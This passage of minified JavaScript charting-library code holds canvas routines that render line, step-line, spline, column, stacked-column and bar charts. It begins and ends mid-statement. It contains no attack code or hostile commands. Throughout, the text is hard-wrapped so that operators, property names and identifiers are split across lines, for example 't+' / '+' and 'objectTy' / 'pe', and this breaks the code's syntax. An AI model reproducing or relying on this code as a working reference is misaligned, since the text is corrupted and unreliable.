0,t=0,C,x;b.beginPath();if(0<s.length){for(var u=!1,t=0;t<s.length;t+
+)if(C=s[t].x.getTime?s[t].x.getTime():s[t].x,!(C<a.axisX.dataInfo.viewPortMin||
C>a.axisX.dataInfo.viewPortMax&&(!m.connectNullData||!u)))if("number"!==typeof
s[t].y)0<t&&!(m.connectNullData||u||p)&&(b.stroke(),r&&c.stroke()),u=!
0;else{C=a.axisX.convertValueToPixel(C);x=a.axisY.convertValueToPixel(s[t].y);var
y=m.dataPointIds[t];this._eventManager.objectMap[y]={id:y,objectType:"dataPoint",da
taSeriesIndex:w,dataPointIndex:t,x1:C,y1:x};p||u?(!p&&m.connectNullData?
(b.setLineDash&&(m.options.nullDataLineDashType||
q===m.lineDashType&&m.lineDashType!
==m.nullDataLineDashType)&&(b.stroke(),b.beginPath(),b.moveTo(k.x,k.y),q=m.nullData
LineDashType,b.setLineDash(n)),b.lineTo(C,x),r&&c.lineTo(C,x)):
(b.beginPath(),b.moveTo(C,x),r&&(c.beginPath(),c.moveTo(C,x))),u=p=!1):
(b.lineTo(C,x),r&&c.lineTo(C,x),0==t
%500&&(b.stroke(),b.beginPath(),b.moveTo(C,x),r&&(c.stroke(),c.beginPath(),c.moveTo
(C,x))));k={x:C,y:x};t<s.length-1&&(h!==(s[t].lineColor||B)||q!
==(s[t].lineDashType||
m.lineDashType))&&(b.stroke(),b.beginPath(),b.moveTo(C,x),h=s[t].lineColor||
B,b.strokeStyle=h,b.setLineDash&&(s[t].lineDashType?
(q=s[t].lineDashType,b.setLineDash(R(q,m.lineThickness))):
(q=m.lineDashType,b.setLineDash(f))));if(0<s[t].markerSize||0<m.markerSize){var
A=m.getMarkerProperties(t,C,x,b);g.push(A);y=N(y);r&&g.push({x:C,y:x,ctx:c,type:A.t
ype,size:A.size,color:y,borderColor:y,borderThickness:A.borderThickness})}
(s[t].indexLabel||m.indexLabel||s[t].indexLabelFormatter||
m.indexLabelFormatter)&&this._indexLabels.push({chartType:"line",dataPoint:s[t],dat
aSeries:m,point:{x:C,y:x},direction:0>s[t].y===a.axisY.reversed?1:-
1,color:B})}b.stroke();r&&c.stroke()}}ia.drawMarkers(g);r&&(d.drawImage(this._preRe
nderCanvas,0,0,this.width,this.height),b.globalCompositeOperation="source-
atop",a.axisX.maskCanvas&&b.drawImage(a.axisX.maskCanvas,0,0,this.width,this.height
),a.axisY.maskCanvas&&b.drawImage(a.axisY.maskCanvas,0,0,this.width,this.height),th
is._breaksCanvasCtx&&this._breaksCanvasCtx.drawImage(this._preRenderCanvas,0,0,this
.width,this.height),b.clearRect(e.x1,e.y1,e.width,e.height),c.beginPath());b.restor
e();b.beginPath();return{source:d,dest:this.plotArea.ctx,animationCallback:M.xClipA
nimation,easingFunction:M.easing.linear,animationBase:0}}};p.prototype.renderStepLi
ne=function(a){var d=a.targetCanvasCtx||this.plotArea.ctx,b=r?
this._preRenderCtx:d;if(!(0>=a.dataSeriesIndexes.length)){var
c=this._eventManager.ghostCtx;b.save();var
e=this.plotArea;b.beginPath();b.rect(e.x1,e.y1,e.width,e.height);b.clip();for(var
g=[],k,l=0;l<a.dataSeriesIndexes.length;l++){var
w=a.dataSeriesIndexes[l],m=this.data[w];b.lineWidth=m.lineThickness;var
s=m.dataPoints,q="solid";if(b.setLineDash){var
n=R(m.nullDataLineDashType,m.lineThickness),q=m.lineDashType,f=R(q,m.lineThickness)
;b.setLineDash(f)}var
B=m.id;this._eventManager.objectMap[B]={objectType:"dataSeries",dataSeriesIndex:w};
B=N(B);c.strokeStyle=B;c.lineWidth=0<m.lineThickness?
Math.max(m.lineThickness,4):0;var
B=m._colorSet,h=B=m.lineColor=m.options.lineColor?
m.options.lineColor:B[0];b.strokeStyle=B;var p=!
0,t=0,C,x;b.beginPath();if(0<s.length){for(var u=!1,t=0;t<s.length;t+
+)if(C=s[t].getTime?s[t].x.getTime():s[t].x,!(C<a.axisX.dataInfo.viewPortMin||
C>a.axisX.dataInfo.viewPortMax&&(!m.connectNullData||!u)))if("number"!==typeof
s[t].y)0<t&&!(m.connectNullData||u||p)&&(b.stroke(),r&&c.stroke()),u=!0;else{var
y=x;C=a.axisX.convertValueToPixel(C);x=a.axisY.convertValueToPixel(s[t].y);var
A=m.dataPointIds[t];this._eventManager.objectMap[A]={id:A,objectType:"dataPoint",da
taSeriesIndex:w,dataPointIndex:t,x1:C,y1:x};p||u?(!p&&m.connectNullData?
(b.setLineDash&&(m.options.nullDataLineDashType||
q===m.lineDashType&&m.lineDashType!
==m.nullDataLineDashType)&&(b.stroke(),b.beginPath(),b.moveTo(k.x,k.y),q=m.nullData
LineDashType,b.setLineDash(n)),b.lineTo(C,y),b.lineTo(C,x),r&&(c.lineTo(C,y),c.line
To(C,x))):(b.beginPath(),b.moveTo(C,x),r&&(c.beginPath(),c.moveTo(C,x))),u=p=!1):
(b.lineTo(C,y),r&&c.lineTo(C,y),b.lineTo(C,x),r&&c.lineTo(C,x),0==t
%500&&(b.stroke(),b.beginPath(),b.moveTo(C,x),r&&(c.stroke(),c.beginPath(),c.moveTo
(C,x))));k={x:C,y:x};t<s.length-1&&(h!==(s[t].lineColor||B)||q!
==(s[t].lineDashType||
m.lineDashType))&&(b.stroke(),b.beginPath(),b.moveTo(C,x),h=s[t].lineColor||
B,b.strokeStyle=h,b.setLineDash&&(s[t].lineDashType?
(q=s[t].lineDashType,b.setLineDash(R(q,m.lineThickness))):
(q=m.lineDashType,b.setLineDash(f))));if(0<s[t].markerSize||
0<m.markerSize)y=m.getMarkerProperties(t,C,x,b),g.push(y),A=N(A),r&&g.push({x:C,y:x
,ctx:c,type:y.type,size:y.size,color:A,borderColor:A,borderThickness:y.borderThickn
ess});(s[t].indexLabel||m.indexLabel||s[t].indexLabelFormatter||
m.indexLabelFormatter)&&this._indexLabels.push({chartType:"stepLine",dataPoint:s[t]
,dataSeries:m,point:{x:C,y:x},direction:0>s[t].y===a.axisY.reversed?1:-
1,color:B})}b.stroke();r&&c.stroke()}}ia.drawMarkers(g);r&&(d.drawImage(this._preRe
nderCanvas,0,0,this.width,this.height),b.globalCompositeOperation="source-
atop",a.axisX.maskCanvas&&b.drawImage(a.axisX.maskCanvas,0,0,this.width,this.height
),a.axisY.maskCanvas&&b.drawImage(a.axisY.maskCanvas,0,0,this.width,this.height),th
is._breaksCanvasCtx&&this._breaksCanvasCtx.drawImage(this._preRenderCanvas,0,0,this
.width,this.height),b.clearRect(e.x1,e.y1,e.width,e.height),c.beginPath());b.restor
e();b.beginPath();return{source:d,dest:this.plotArea.ctx,animationCallback:M.xClipA
nimation,easingFunction:M.easing.linear,animationBase:0}}};p.prototype.renderSpline
=function(a){function d(a){a=v(a,2);if(0<a.length)
{c.beginPath();r&&e.beginPath();c.moveTo(a[0].x,a[0].y);a[0].newStrokeStyle&&(c.str
okeStyle=a[0].newStrokeStyle);a[0].newLineDashArray&&c.setLineDash(a[0].newLineDash
Array);r&&e.moveTo(a[0].x,a[0].y);for(var b=0;b<a.length-
3;b+=3)if(c.bezierCurveTo(a[b+1].x,a[b+1].y,a[b+2].x,a[b+2].y,a[b+3].x,a[b+3].y),r&
&e.bezierCurveTo(a[b+1].x,a[b+1].y,a[b+2].x,a[b+2].y,a[b+3].x,a[b+3].y),0<b&&0===b
%3E3||a[b+3].newStrokeStyle||
a[b+3].newLineDashArray)c.stroke(),c.beginPath(),c.moveTo(a[b+3].x,a[b+3].y),a[b+3]
.newStrokeStyle&&(c.strokeStyle=a[b+3].newStrokeStyle),a[b+3].newLineDashArray&&c.s
etLineDash(a[b+3].newLineDashArray),r&&(e.stroke(),e.beginPath(),e.moveTo(a[b+3].x,
a[b+3].y));c.stroke();r&&e.stroke()}}var b=a.targetCanvasCtx||
this.plotArea.ctx,c=r?this._preRenderCtx:b;if(!(0>=a.dataSeriesIndexes.length)){var
e=this._eventManager.ghostCtx;c.save();var
g=this.plotArea;c.beginPath();c.rect(g.x1,g.y1,g.width,g.height);c.clip();for(var
k=[],l=0;l<a.dataSeriesIndexes.length;l++){var
w=a.dataSeriesIndexes[l],m=this.data[w];c.lineWidth=m.lineThickness;var
s=m.dataPoints,q="solid";if(c.setLineDash){var
n=R(m.nullDataLineDashType,m.lineThickness),q=m.lineDashType,f=R(q,m.lineThickness)
;c.setLineDash(f)}var
B=m.id;this._eventManager.objectMap[B]={objectType:"dataSeries",dataSeriesIndex:w};
B=N(B);e.strokeStyle=B;e.lineWidth=0<m.lineThickness?
Math.max(m.lineThickness,4):0;var
B=m._colorSet,h=B=m.lineColor=m.options.lineColor?
m.options.lineColor:B[0];c.strokeStyle=B;var
p=0,t,u,x=[];c.beginPath();if(0<s.length)for(u=!1,p=0;p<s.length;p+
+)if(t=s[p].getTime?s[p].x.getTime():s[p].x,!(t<a.axisX.dataInfo.viewPortMin||
t>a.axisX.dataInfo.viewPortMax&&(!m.connectNullData||!u)))if("number"!==typeof
s[p].y)0<p&&!u&&(m.connectNullData?
c.setLineDash&&(0<x.length&&(m.options.nullDataLineDashType||!s[p-
1].lineDashType))&&(x[x.length-1].newLineDashArray=n,q=m.nullDataLineDashType):
(d(x),x=[])),u=!
0;else{t=a.axisX.convertValueToPixel(t);u=a.axisY.convertValueToPixel(s[p].y);var
ma=m.dataPointIds[p];this._eventManager.objectMap[ma]={id:ma,objectType:"dataPoint"
,dataSeriesIndex:w,dataPointIndex:p,x1:t,y1:u};x[x.length]={x:t,y:u};p<s.length-
1&&(h!==(s[p].lineColor||B)||q!==(s[p].lineDashType||
m.lineDashType))&&(h=s[p].lineColor||B,x[x.length-
1].newStrokeStyle=h,c.setLineDash&&(s[p].lineDashType?
(q=s[p].lineDashType,x[x.length-1].newLineDashArray=R(q,m.lineThickness)):
(q=m.lineDashType,x[x.length-1].newLineDashArray=f)));if(0<s[p].markerSize||
0<m.markerSize){var
y=m.getMarkerProperties(p,t,u,c);k.push(y);ma=N(ma);r&&k.push({x:t,y:u,ctx:e,type:y
.type,size:y.size,color:ma,borderColor:ma,borderThickness:y.borderThickness})}
(s[p].indexLabel||m.indexLabel||s[p].indexLabelFormatter||
m.indexLabelFormatter)&&this._indexLabels.push({chartType:"spline",dataPoint:s[p],d
ataSeries:m,point:{x:t,y:u},direction:0>s[p].y===a.axisY.reversed?1:-
1,color:B});u=!
1}d(x)}ia.drawMarkers(k);r&&(b.drawImage(this._preRenderCanvas,0,0,this.width,this.
height),c.globalCompositeOperation="source-
atop",a.axisX.maskCanvas&&c.drawImage(a.axisX.maskCanvas,0,0,this.width,this.height
),a.axisY.maskCanvas&&c.drawImage(a.axisY.maskCanvas,0,0,this.width,this.height),th
is._breaksCanvasCtx&&this._breaksCanvasCtx.drawImage(this._preRenderCanvas,0,0,this
.w
idth,this.height),c.clearRect(g.x1,g.y1,g.width,g.height),e.beginPath());c.restore(
);c.beginPath();return{source:b,dest:this.plotArea.ctx,animationCallback:M.xClipAni
mation,easingFunction:M.easing.linear,animationBase:0}}};p.prototype.renderColumn=f
unction(a){var d=a.targetCanvasCtx||this.plotArea.ctx,b=r?this._preRenderCtx:d;if(!
(0>=a.dataSeriesIndexes.length)){var
c=null,e=this.plotArea,g=0,k,l,w,m=a.axisY.convertValueToPixel(a.axisY.logarithmic?
a.axisY.viewportMinimum:0),g=this.options.dataPointMinWidth?
this.dataPointMinWidth:this.options.dataPointWidth?
this.dataPointWidth:1,s=this.options.dataPointMaxWidth?
this.dataPointMaxWidth:this.options.dataPointWidth?
this.dataPointWidth:Math.min(0.15*this.width,0.9*(this.plotArea.width/a.plotType.to
talDataSeries))<<0,q=a.axisX.dataInfo.minDiff;isFinite(q)||
(q=0.3*Math.abs(a.axisX.range));q=this.dataPointWidth=this.options.dataPointWidth?
this.dataPointWidth:0.9*(e.width*(a.axisX.logarithmic?
Math.log(q)/Math.log(a.axisX.range):Math.abs(q)/Math.abs(a.axisX.range))/a.plotType
.totalDataSeries)<<0;this.dataPointMaxWidth&&g>s&&(g=Math.min(this.options.dataPoin
tWidth?this.dataPointWidth:Infinity,s));!
this.dataPointMaxWidth&&(this.dataPointMinWidth&&s<g)&&(s=Math.max(this.options.dat
aPointWidth?this.dataPointWidth:-
Infinity,g));q<g&&(q=g);q>s&&(q=s);b.save();r&&this._eventManager.ghostCtx.save();b
.beginPath();b.rect(e.x1,e.y1,e.width,e.height);b.clip();r&&(this._eventManager.gho
stCtx.beginPath(),this._eventManager.ghostCtx.rect(e.x1,e.y1,e.width,e.height),this
._eventManager.ghostCtx.clip());for(s=0;s<a.dataSeriesIndexes.length;s++){var
n=a.dataSeriesIndexes[s],f=this.data[n],B=f.dataPoints;if(0<B.length)for(var
p=5<q&&f.bevelEnabled?!0:!1,g=0;g<B.length;g++)if(B[g].getTime?
w=B[g].x.getTime():w=B[g].x,!(w<a.axisX.dataInfo.viewPortMin||
w>a.axisX.dataInfo.viewPortMax)&&"number"===typeof B[g].y)
{k=a.axisX.convertValueToPixel(w);l=a.axisY.convertValueToPixel(B[g].y);k=a.axisX.r
eversed?k+a.plotType.totalDataSeries*q/2-(a.previousDataSeriesCount+s)*q<<0:k-
a.plotType.totalDataSeries*q/2+(a.previousDataSeriesCount+s)*q<<0;var
h=a.axisX.reversed?k-q<<0:k+q<<0,t;0<=B[g].y?t=m:
(t=l,l=m);l>t&&(c=l,l=t,t=c);c=B[g].color?B[g].color:f._colorSet[g
%f._colorSet.length];ea(b,k,l,h,t,c,0,null,p&&0<=B[g].y,0>B[g].y&&p,!1,!
1,f.fillOpacity);c=f.dataPointIds[g];this._eventManager.objectMap[c]={id:c,objectTy
pe:"dataPoint",dataSeriesIndex:n,dataPointIndex:g,x1:k,y1:l,x2:h,y2:t};c=N(c);r&&ea
(this._eventManager.ghostCtx,k,l,h,t,c,0,null,!1,!1,!1,!1);(B[g].indexLabel||
f.indexLabel||B[g].indexLabelFormatter||
f.indexLabelFormatter)&&this._indexLabels.push({chartType:"column",dataPoint:B[g],d
ataSeries:f,point:{x:k+(h-k)/2,y:0>B[g].y===a.axisY.reversed?
l:t},direction:0>B[g].y===a.axisY.reversed?1:-1,bounds:
{x1:k,y1:Math.min(l,t),x2:h,y2:Math.max(l,t)},color:c})}}r&&(d.drawImage(this._preR
enderCanvas,0,0,this.width,this.height),b.globalCompositeOperation="source-
atop",a.axisX.maskCanvas&&b.drawImage(a.axisX.maskCanvas,0,0,this.width,this.height
),a.axisY.maskCanvas&&b.drawImage(a.axisY.maskCanvas,0,0,this.width,this.height),th
is._breaksCanvasCtx&&this._breaksCanvasCtx.drawImage(this._preRenderCanvas,0,0,this
.width,this.height),b.clearRect(e.x1,e.y1,e.width,e.height),this._eventManager.ghos
tCtx.restore());b.restore();return{source:d,dest:this.plotArea.ctx,animationCallbac
k:M.yScaleAnimation,easingFunction:M.easing.easeOutQuart,animationBase:m<a.axisY.bo
unds.y1?a.axisY.bounds.y1:m>a.axisY.bounds.y2?
a.axisY.bounds.y2:m}}};p.prototype.renderStackedColumn=function(a){var
d=a.targetCanvasCtx||this.plotArea.ctx,b=r?this._preRenderCtx:d;if(!
(0>=a.dataSeriesIndexes.length)){var
c=null,e=this.plotArea,g=[],k=[],l=[],w=[],m=0,s,q,n=a.axisY.convertValueToPixel(a.
axisY.logarithmic?a.axisY.viewportMinimum:0),m=this.options.dataPointMinWidth?
this.dataPointMinWidth:this.options.dataPointWidth?
this.dataPointWidth:1;s=this.options.dataPointMaxWidth?
this.dataPointMaxWidth:this.options.dataPointWidth?
this.dataPointWidth:0.15*this.width<<0;var f=a.axisX.dataInfo.minDiff;isFinite(f)||
(f=0.3*Math.abs(a.axisX.range));f=this.options.dataPointWidth?
this.dataPointWidth:0.9*(e.width*(a.axisX.logarithmic?
Math.log(f)/Math.log(a.axisX.range):Math.abs(f)/Math.abs(a.axisX.range))/a.plotType
.plotUnits.length)<<0;this.dataPointMaxWidth&&m>s&&(m=Math.min(this.options.dataPoi
ntWidth?this.dataPointWidth:Infinity,s));!
this.dataPointMaxWidth&&(this.dataPointMinWidth&&s<m)&&(s=Math.max(this.options.dat
aPointWidth?this.dataPointWidth:-
Infinity,m));f<m&&(f=m);f>s&&(f=s);b.save();r&&this._eventManager.ghostCtx.save();b
.beginPath();b.rect(e.x1,e.y1,e.width,e.height);b.clip();r&&(this._eventManager.gho
stCtx.beginPath(),this._eventManager.ghostCtx.rect(e.x1,e.y1,e.width,e.height),this
._eventManager.ghostCtx.clip());for(var B=0;B<a.dataSeriesIndexes.length;B++){var
h=a.dataSeriesIndexes[B],p=this.data[h],t=p.dataPoints;if(0<t.length){var
u=5<f&&p.bevelEnabled?!0:!1;b.strokeStyle="#4572A7 ";for(m=0;m<t.length;m+
+)if(c=t[m].x.getTime?t[m].x.getTime():t[m].x,!(c<a.axisX.dataInfo.viewPortMin||
c>a.axisX.dataInfo.viewPortMax)&&"number"===typeof t[m].y)
{s=a.axisX.convertValueToPixel(c);var x=s-
a.plotType.plotUnits.length*f/2+a.index*f<<0,v=x+f<<0,y;if(a.axisY.logarithmic||
a.axisY.scaleBreaks&&0<a.axisY.scaleBreaks._appliedBreaks.length&&0<t[m].y)l[c]=t[m
].y+(l[c]?l[c]:0),0<l[c]&&(q=a.axisY.convertValueToPixel(l[c]),y="undefined"!
==typeof g[c]?g[c]:n,g[c]=q);else
if(a.axisY.scaleBreaks&&0<a.axisY.scaleBreaks._appliedBreaks.length&&0>=t[m].y)w[c]
=t[m].y+(w[c]?w[c]:0),y=a.axisY.convertValueToPixel(w[c]),q="undefined"!==typeof
k[c]?k[c]:n,k[c]=y;else if(q=a.axisY.convertValueToPixel(t[m].y),0<=t[m].y){var
A="undefined"!==typeof g[c]?g[c]:0;q-=A;y=n-A;g[c]=A+(y-q)}else A=k[c]?
k[c]:0,y=q+A,q=n+A,k[c]=A+(y-q);c=t[m].color?t[m].color:p._colorSet[m
%p._colorSet.length];ea(b,x,q,v,y,c,0,null,u&&0<=t[m].y,0>t[m].y&&u,!1,!
1,p.fillOpacity);c=p.dataPointIds[m];this._eventManager.objectMap[c]={id:c,objectTy
pe:"dataPoint",dataSeriesIndex:h,dataPointIndex:m,x1:x,y1:q,x2:v,y2:y};c=N(c);r&&ea
(this._eventManager.ghostCtx,x,q,v,y,c,0,null,!1,!1,!1,!1);(t[m].indexLabel||
p.indexLabel||t[m].indexLabelFormatter||
p.indexLabelFormatter)&&this._indexLabels.push({chartType:"stackedColumn",dataPoint
:t[m],dataSeries:p,point:{x:s,y:0<=t[m].y?
q:y},direction:0>t[m].y===a.axisY.reversed?1:-1,bounds:
{x1:x,y1:Math.min(q,y),x2:v,y2:Math.max(q,y)},color:c})}}}r&&(d.drawImage(this._pre
RenderCanvas,0,0,this.width,this.height),b.globalCompositeOperation="source-
atop",a.axisX.maskCanvas&&b.drawImage(a.axisX.maskCanvas,0,0,this.width,this.height
),a.axisY.maskCanvas&&b.drawImage(a.axisY.maskCanvas,0,0,this.width,this.height),th
is._breaksCanvasCtx&&this._breaksCanvasCtx.drawImage(this._preRenderCanvas,0,0,this
.width,this.height),b.clearRect(e.x1,e.y1,e.width,e.height),this._eventManager.ghos
tCtx.restore());b.restore();return{source:d,dest:this.plotArea.ctx,animationCallbac
k:M.yScaleAnimation,easingFunction:M.easing.easeOutQuart,animationBase:n<a.axisY.bo
unds.y1?a.axisY.bounds.y1:n>a.axisY.bounds.y2?
a.axisY.bounds.y2:n}}};p.prototype.renderStackedColumn100=function(a){var
d=a.targetCanvasCtx||this.plotArea.ctx,b=r?this._preRenderCtx:d;if(!
(0>=a.dataSeriesIndexes.length)){var
c=null,e=this.plotArea,g=[],k=[],l=[],w=[],m=0,s,q,n=a.axisY.convertValueToPixel(a.
axisY.logarithmic?a.axisY.viewportMinimum:0),m=this.options.dataPointMinWidth?
this.dataPointMinWidth:this.options.dataPointWidth?
this.dataPointWidth:1;s=this.options.dataPointMaxWidth?
this.dataPointMaxWidth:this.options.dataPointWidth?
this.dataPointWidth:0.15*this.width<<0;var f=a.axisX.dataInfo.minDiff;isFinite(f)||
(f=0.3*Math.abs(a.axisX.range));f=this.options.dataPointWidth?
this.dataPointWidth:0.9*(e.width*(a.axisX.logarithmic?
Math.log(f)/Math.log(a.axisX.range):Math.abs(f)/Math.abs(a.axisX.range))/a.plotType
.plotUnits.length)<<0;this.dataPointMaxWidth&&m>s&&(m=Math.min(this.options.dataPoi
ntWidth?this.dataPointWidth:Infinity,s));!
this.dataPointMaxWidth&&(this.dataPointMinWidth&&s<m)&&(s=Math.max(this.options.dat
aPointWidth?this.dataPointWidth:-
Infinity,m));f<m&&(f=m);f>s&&(f=s);b.save();r&&this._eventManager.ghostCtx.save();b
.beginPath();b.rect(e.x1,e.y1,e.width,e.height);b.clip();r&&(this._eventManager.gho
stCtx.beginPath(),this._eventManager.ghostCtx.rect(e.x1,e.y1,e.width,e.height),this
._eventManager.ghostCtx.clip());for(var B=0;B<a.dataSeriesIndexes.length;B++){var
p=a.dataSeriesIndexes[B],h=this.data[p],t=h.dataPoints;if(0<t.length)for(var
u=5<f&&h.bevelEnabled?!0:!1,m=0;m<t.length;m++)if(c=t[m].x.getTime?
t[m].x.getTime():t[m].x,!(c<a.axisX.dataInfo.viewPortMin||
c>a.axisX.dataInfo.viewPortMax)&&"number"===typeof t[m].y)
{s=a.axisX.convertValueToPixel(c);q=0!==a.dataPointYSums[c]?
100*(t[m].y/a.dataPointYSums[c]):0;var x=s-
a.plotType.plotUnits.length*f/2+a.index*f<<0,v=x+f<<0,y;if(a.axisY.logarithmic||
a.axisY.scaleBreaks&&0<a.axisY.scaleBreaks._appliedBreaks.length&&0<t[m].y){l[c]=q+
("undefined"!==typeof l[c]?
l[c]:0);if(0>=l[c])continue;q=a.axisY.convertValueToPixel(l[c]);y=g[c]?
g[c]:n;g[c]=q}else
if(a.axisY.scaleBreaks&&0<a.axisY.scaleBreaks._appliedBreaks.length&&0>=t[m].y)w[c]
=q+("undefined"!==typeof w[c]?w[c]:0),y=a.axisY.convertValueToPixel(w[c]),q=k[c]?
k[c]:n,k[c]=y;else if(q=a.axisY.convertValueToPixel(q),0<=t[m].y){var
A="undefined"!==typeof g[c]?g[c]:0;q-=A;y=n-A;a.dataSeriesIndexes.length-
1===B&&1>=Math.abs(e.y1-q)&&(q=e.y1);g[c]=A+(y-q)}else A="undefined"!==typeof k[c]?
k[c]:0,y=q+A,q=n+A,a.dataSeriesIndexes.length-1===B&&1>=Math.abs(e.y2-
y)&&(y=e.y2),k[c]=A+(y-q);c=t[m].color?t[m].color:h._colorSet[m
%h._colorSet.length];ea(b,x,q,v,y,c,0,null,u&&0<=t[m].y,0>t[m].y&&u,!1,!
1,h.fillOpacity);c=h.dataPointIds[m];this._eventManager.objectMap[c]={id:c,objectTy
pe:"dataPoint",dataSeriesIndex:p,dataPointIndex:m,x1:x,y1:q,x2:v,y2:y};c=N(c);r&&ea
(this._eventManager.ghostCtx,x,q,v,y,c,0,null,!1,!1,!1,!1);(t[m].indexLabel||
h.indexLabel||t[m].indexLabelFormatter||
h.indexLabelFormatter)&&this._indexLabels.push({chartType:"stackedColumn100",dataPo
int:t[m],data
Series:h,point:{x:s,y:0<=t[m].y?q:y},direction:0>t[m].y===a.axisY.reversed?1:-
1,bounds:
{x1:x,y1:Math.min(q,y),x2:v,y2:Math.max(q,y)},color:c})}}r&&(d.drawImage(this._preR
enderCanvas,0,0,this.width,this.height),b.globalCompositeOperation="source-
atop",a.axisX.maskCanvas&&b.drawImage(a.axisX.maskCanvas,0,0,this.width,this.height
),a.axisY.maskCanvas&&b.drawImage(a.axisY.maskCanvas,0,0,this.width,this.height),th
is._breaksCanvasCtx&&this._breaksCanvasCtx.drawImage(this._preRenderCanvas,0,0,this
.width,this.height),b.clearRect(e.x1,e.y1,e.width,e.height),this._eventManager.ghos
tCtx.restore());b.restore();return{source:d,dest:this.plotArea.ctx,animationCallbac
k:M.yScaleAnimation,easingFunction:M.easing.easeOutQuart,animationBase:n<a.axisY.bo
unds.y1?a.axisY.bounds.y1:n>a.axisY.bounds.y2?
a.axisY.bounds.y2:n}}};p.prototype.renderBar=function(a){var d=a.targetCanvasCtx||
this.plotArea.ctx,b=r?this._preRenderCtx:d;if(!(0>=a.dataSeriesIndexes.length)){var
c=null,e=this.plotArea,g=0,k,l,w,m=a.axisY.convertValueToPixel(a.axisY.logarithmic?
a.axisY.viewportMinimum:0),g=this.options.dataPointMinWidth?
this.dataPointMinWidth:this.options.dataPointWidth?
this.dataPointWidth:1,s=this.options.dataPointMaxWidth?
this.dataPointMaxWidth:this.options.dataPointWidth?
this.dataPointWidth:Math.min(0.15*this.height,0.9*(this.plotArea.height/a.plotType.
totalDataSeries))<<0,q=a.axisX.dataInfo.minDiff;isFinite(q)||
(q=0.3*Math.abs(a.axisX.range));q=this.options.dataPointWidth?
this.dataPointWidth:0.9*(e.height*(a.axisX.logarithmic?
Math.log(q)/Math.log(a.axisX.range):Math.abs(q)/Math.abs(a.axisX.range))/a.plotType
.totalDataSeries)<<0;this.dataPointMaxWidth&&g>s&&(g=Math.min(this.options.dataPoin
tWidth?this.dataPointWidth:Infinity,s));!
this.dataPointMaxWidth&&(this.dataPointMinWidth&&s<g)&&(s=Math.max(this.options.dat
aPointWidth?this.dataPointWidth:-
Infinity,g));q<g&&(q=g);q>s&&(q=s);b.save();r&&this._eventManager.ghostCtx.save();b
.beginPath();b.rect(e.x1,e.y1,e.width,e.height);b.clip();r&&(this._eventManager.gho
stCtx.beginPath(),this._eventManager.ghostCtx.rect(e.x1,e.y1,e.width,e.height),this
._eventManager.ghostCtx.clip());for(s=0;s<a.dataSeriesIndexes.length;s++){var
n=a.dataSeriesIndexes[s],f=this.data[n],B=f.dataPoints;if(0<B.length){var
h=5<q&&f.bevelEnabled?!0:!1;b.strokeStyle="#4572A7 ";for(g=0;g<B.length;g+
+)if(B[g].getTime?w=B[g].x.getTime():w=B[g].x,!(w<a.axisX.dataInfo.viewPortMin||
w>a.axisX.dataInfo.viewPortMax)&&"number"===typeof B[g].y)
{l=a.axisX.convertValueToPixel(w);k=a.axisY.convertValueToPixel(B[g].y);l=a.axisX.r
eversed?l+a.plotType.totalDataSeries*q/2-(a.previousDataSeriesCount+s)*q<<0:l-
a.plotType.totalDataSeries*q/2+(a.previousDataSeriesCount+s)*q<<0;var
p=a.axisX.reversed?l-q<<0:l+q<<0,t;0<=B[g].y?t=m:(t=k,k=m);c=B[g].color?
B[g].color:f._colorSet[g%f._colorSet.length];ea(b,t,l,k,p,c,0,null,h,!1,!1,!
1,f.fillOpacity);c=f.dataPointIds[g];this._eventManager.objectMap[c]={id:c,objectTy
pe:"dataPoint",dataSeriesIndex:n,dataPointIndex:g,x1:t,y1:l,x2:k,y2:p};c=N(c);r&&ea
(this._eventManager.ghostCtx,t,l,k,p,c,0,null,!1,!1,!1,!1);(B[g].indexLabel||
f.indexLabel||B[g].indexLabelFormatter||
f.indexLabelFormatter)&&this._indexLabels.push({chartType:"bar",dataPoint:B[g],data
Series:f,point:{x:0<=B[g].y?k:t,y:l+(p-l)/2},direction:0>B[g].y===a.axisY.reversed?
1:-1,bounds:
{x1:Math.min(t,k),y1:l,x2:Math.max(t,k),y2:p},color:c})}}}r&&(d.drawImage(this._pre
RenderCanvas,0,0,this.width,this.height),b.globalCompositeOperation="source-
atop",a.axisX.maskCanvas&&b.drawImage(a.axisX.maskCanvas,0,0,this.width,this.height
),a.axisY.maskCanvas&&b.drawImage(a.axisY.maskCanvas,0,0,this.width,this.height),th
is._breaksCanvasCtx&&this._breaksCanvasCtx.drawImage(this._preRenderCanvas,0,0,this
.width,this.height),b.clearRect(e.x1,e.y1,e.width,e.height),this._eventManager.ghos
tCtx.restore());b.restore();return{source:d,dest:this.plotArea.ctx,animationCallbac
k:M.xScaleAnimation,easingFunction:M.easing.easeOutQuart,animationBase:m<a.axisY.bo
unds.x1?a.axisY.bounds.x1:m>a.axisY.bounds.x2?
a.axisY.bounds.x2:m}}};p.prototype.renderStackedBar=function(a){var
d=a.targetCanvasCtx||this.plotArea.ctx,b=r?this._preRenderCtx:d;if(!
(0>=a.dataSeriesIndexes.length)){var
c=null,e=this.plotArea,g=[],k=[],l=[],w=[],m=0,s,q,n=a.axisY.convertValueToPixel(a.
axisY.logarithmic?a.axisY.viewportMinimum:0),m=this.options.dataPointMinWidth?
this.dataPointMinWidth:this.options.dataPointWidth?
this.dataPointWidth:1;q=this.options.dataPointMaxWidth?
this.dataPointMaxWidth:this.options.dataPointWidth?
this.dataPointWidth:0.15*this.height<<0;var
f=a.axisX.dataInfo.minDiff;isFinite(f)||
(f=0.3*Math.abs(a.axisX.range));f=this.options.dataPointWidth?
this.dataPointWidth:0.9*(e.height*(a.axisX.logarithmic?
Math.log(f)/Math.log(a.axisX.range):Math.abs(f)/Math.abs(a.axisX.range))/a.plotType
.plotUnits.length)<<0;this.dataPointMaxWidth&&m>q&&(m=Math.min(this.options.dataPoi
ntWidth?this.dataPointWidth:Infinity,q));!
this.dataPointMaxWidth&&(this.dataPointMinWidth&&q<m)&&(q=Math.max(this.options.dat
aPointWidth?this.dataPointWidth:-
Infinity,m));f<m&&(f=m);f>q&&(f=q);b.save();r&&this._eventManager.ghostCtx.save();b
.beginPath();b.rect(e.x1,e.y1,e.width,e.height);b.clip();r&&(this._eventManager.gho
stCtx.beginPath(),this._eventManager.ghostCtx.rect(e.x1,e.y1,e.width,e.height),this
._eventManager.ghostCtx.clip());for(var B=0;B<a.dataSeriesIndexes.length;B++){var
p=a.dataSeriesIndexes[B],h=this.data[p],t=h.dataPoints;if(0<t.length){var
u=5<f&&h.bevelEnabled?!0:!1;b.strokeStyle="#4572A7 ";for(m=0;m<t.length;m+
